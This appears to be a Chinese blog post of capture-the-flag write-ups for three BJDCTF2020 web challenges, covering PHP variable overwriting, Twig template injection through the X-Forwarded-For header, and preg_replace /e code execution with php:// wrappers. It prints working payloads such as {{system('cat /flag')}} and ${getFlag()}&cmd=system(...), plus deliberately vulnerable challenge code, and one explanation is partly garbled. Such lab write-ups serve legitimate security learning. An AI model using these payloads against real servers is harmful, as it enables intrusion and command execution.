2021-02-01

46 篇文章 0 订阅

[BJDCTF2020]Mark loves cat

在这里插入图片描述
扫描器扫一下,发现是git泄露。
用githack提取一下
在这里插入图片描述flag.php
在这里插入图片描述index.php

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;       
}

foreach($_GET as $x => $y){
    $$x = $$y;         
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}




echo "the flag is: ".$flag;

审计一下代码,出现$ $ 的变量覆盖比较多。
include ‘flag.php’;的意思就是告诉$flag就是真正的flag

  • 首先我们想到的是让脚本执行到最后一句echo f l a g ; , 但 即 使 绕 过 三 个 i f 语 句 , 我 们 G E T 传 参 或 者 P O S T 传 参 的 f l a g 总 会 被 变 量 覆 盖 : 如 我 们 G E T 传 参 f l a g = a a a , 在 第 二 个 f o r e a c h 语 句 中 变 成 flag;,但即使绕过三个if语句,我们GET传参或者POST传参的flag总会被变量覆盖:如我们GET传参flag=aaa,在第二个foreach语句中变成 flag;使ifGETPOSTflagGETflag=aaaforeachflag = a a a , 而 aaa,而 aaaaaa变量没有定义为空,最后的输出就是空。
    同理:我们POST传参flag=aaa,在第一个foreach语句中变成$flag= aaa,flag被覆盖为‘aaa’,最后输出aaa
  • 由此看来,这样行不通,回过头来前面说到if语句中的exit()函数虽然会退出执行,但也会输出其参数,我们可以利用变量覆盖将exit()函数内的参数用$flag覆盖掉就能输出flag了;

最后

思路理清了,这里面有三个if语句,其中有两个能利用变量覆盖输出flag,也就是说有两种方法
一是第二个if语句中可以看到这里是输出的$yds变量,那么我们就要通过变量覆盖达	到$yds=$flag的效果,
GET传参yds=flag,在第二个foreach语句中,首先是$x=yds,$y=flag,经过$$x = $$y也就变成了$yds=$flag,这是其一;

二是第三个if语句中输出变量$is,判断条件为$_POST['flag'] === 'flag' || $_GET['flag'] === 'flag',这里可以通过满足后面这个条件进行变量覆盖:
GET传参is=flag&flag=flag;
在第二个foreach语句中,首先是$x=is,$y=flag,带进去就变成了$is=$flag,这就达到了覆盖的目的,而参数中flag=flag只是为了满足if语句;

考点总结:

[BJDCTF2020]The mystery of ip

考点

  • X-Forwarded-For注入
  • PHP可能存在Twig模版注入漏洞

知识点

各项HTTP请求的意义
在这里插入图片描述

流程:

在这里插入图片描述
结合题目名,IP的秘密,flag页面也出现了IP,猜测为X-Forwarded-For处有问题
使用BurpSuite抓取数据包:
添加HTTP请求头:X-Forwarded-For: 1
得到回显页面:
在这里插入图片描述被成功执行,说明XFF可控,测试了半天,因为是php页面,所以没想到模版注入,通过查阅资料

  • Flask可能存在Jinjia2模版注入漏洞
  • PHP可能存在Twig模版注入漏洞**

构造payload尝试一下:
X-Forwarded-For: {{7*7}}
在这里插入图片描述

尝试是否能执行命令:X-Forwarded-For: {{system('ls')}}
在这里插入图片描述在/目录下查找到flag,读取flag,构造payload:
X-Forwarded-For: {{system('cat /flag')}}

[BJDCTF2020]ZJCTF,不过如此

正则表达式 - 语法字及符含义

深入研究preg_replace与代码执行

strtolower() 函数把字符串转换为小写。
lcfirst() - 把字符串中的首字符转换为小写
strtoupper() - 把字符串转换为大写
ucfirst() - 把字符串中的首字符转换为大写
ucwords() - 把字符串中每个单词的首字符转换为大写

打开题目

在这里插入图片描述
分析代码,ge传入两个参数text和file,text参数利用file_get_contents()函数只读形式打开,打开后内容要与"I have a dream"字符串相匹配,才能执行下面的文件包含$file参数。
看到用的是file_get_contents()函数打开text参数,以及后面的文件包含函数,自然的想到php伪协议中的data://协议
在这里插入图片描述

源码中提示我们去包含next.php文件,所以我们利用php://filter协议去读下next.php的源码。
在这里插入图片描述
构造payload
index.php?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php在这里插入图片描述

base64解码,得到next.php的源码。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}


接下来重点:

思路是利用这个代码执行,执行源码中的getFlag()函数,在传入cmd参数,再利用getFlag中的eval()函数,再进行一个代码执行。

于是构造Payload:next.php?\S*=${getFlag()}&cmd=system('cat /flag');
得到flag

解析

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

strtolower() 函数把字符串转换为小写。
/e模式的preg_replace,有一个远程代码执行漏洞。

正则里面/i 是忽略大小写.

/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码执行。

这里的第二个参数是固定了的,怎么利用?
查资料发现,\1表示取出正则匹配后的第一个子匹配中的第一项,(这里其实就是 thinkphp2.x、3.0-3.1版本的rce漏洞

我们就要保证第一个匹配是我们想要执行的东西,那我就传进去phpinfo(),正则我可以填 .* 或者 \S+(大写S,小写s是匹配空白符),因为php里会把参数名里的特殊字符转为下划线“_”,那么我们就可以用第二种,+号在url中的时候记得编码为%2b,不然会认为是空格。

验证如下:
在这里插入图片描述
我们传
next.php?\S%2b=phpinfo()
发现还是不能执行,这是为啥?

  • 用到的性质1:
    在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。注意:双引号中的函数不会被执行和替换。
    如:
    在这里插入图片描述

  • 用到的特性2:

      就是我们变量覆盖漏洞中常见的可变变量,因为要避免歧义,除了$$a这样子,还可以${$a}这样子。
    

官方解释
在这里插入图片描述\1就是被双引号包围起来的,我们传:
/next.php?\S%2b=${phpinfo()}
在这里插入图片描述

发现也可以直接执行eval命令:在这里插入图片描述

调用getFlag函数并传参:\S%2b=${getFlag()}&cmd=system('ls /');
发现flag,直接cat:\S%2b=${getFlag()}&cmd=system('cat /flag');

preg_replace的/e修饰符妙用与慎用

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值